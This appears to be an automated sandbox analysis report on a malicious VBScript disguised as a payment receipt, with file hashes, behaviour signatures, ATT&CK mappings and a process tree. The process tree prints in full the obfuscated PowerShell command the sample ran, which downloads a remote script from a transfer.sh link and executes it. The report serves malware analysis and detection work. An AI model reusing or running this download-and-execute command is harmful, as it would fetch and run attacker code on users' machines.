ac316c0d4300e61d9e3bdb5a8c2d0069a41973c5495f0606f913e4c311e7df46

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-en-20211208
submitted
08-12-2021 19:08

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General

Target

U2NM18C9NPayment-Receipt.vbs
Size

483B
MD5

f06c964ada559c2eaca171edcbcd86a2
SHA1

5222e4b0d39278418a1332331a567b2e8c6ff54e
SHA256

ac316c0d4300e61d9e3bdb5a8c2d0069a41973c5495f0606f913e4c311e7df46
SHA512

4a38c2b08cce4857281e7fafe0348bf1520de5e8fc1a5e285f702020f0a5caf0984d4dea550b109367201aa73ed28fe1f1fd888385f0f81207a48cd5c6987c08

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1060 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1060 powershell.exe

pid	process
1060	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1060	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 1628 wrote to memory of 1060	1628	WScript.exe	powershell.exe
PID 1628 wrote to memory of 1060	1628	WScript.exe	powershell.exe
PID 1628 wrote to memory of 1060	1628	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\U2NM18C9NPayment-Receipt.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1628

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Chiptech=('{2}{1}{0}{3}{4}' -f'bC','We','Net.','lie','nt'); $Freq=('{3}{0}{1}{2}' -f'load','Str','ing','Down'); $sysinfo=('{2}{0}{1}' -f'e','X','I'); &('I'+'eX')(N`ew-Ob`je`ct $Chiptech).$Freq('https://transfer.sh/get/FbOTjD/bypass.txt')
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1060

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1060-56-0x0000000000000000-mapping.dmp

Download
memory/1060-59-0x00000000028C0000-0x00000000028C2000-memory.dmp

Filesize
8KB

Download
memory/1060-60-0x00000000028C2000-0x00000000028C4000-memory.dmp

Filesize
8KB

Download
memory/1060-61-0x00000000028C4000-0x00000000028C7000-memory.dmp

Filesize
12KB

Download
memory/1060-58-0x000007FEF3530000-0x000007FEF408D000-memory.dmp

Filesize
11.4MB

Download
memory/1060-62-0x00000000028CB000-0x00000000028EA000-memory.dmp

Filesize
124KB

Download
memory/1628-55-0x000007FEFC2D1000-0x000007FEFC2D3000-memory.dmp

Filesize
8KB

Download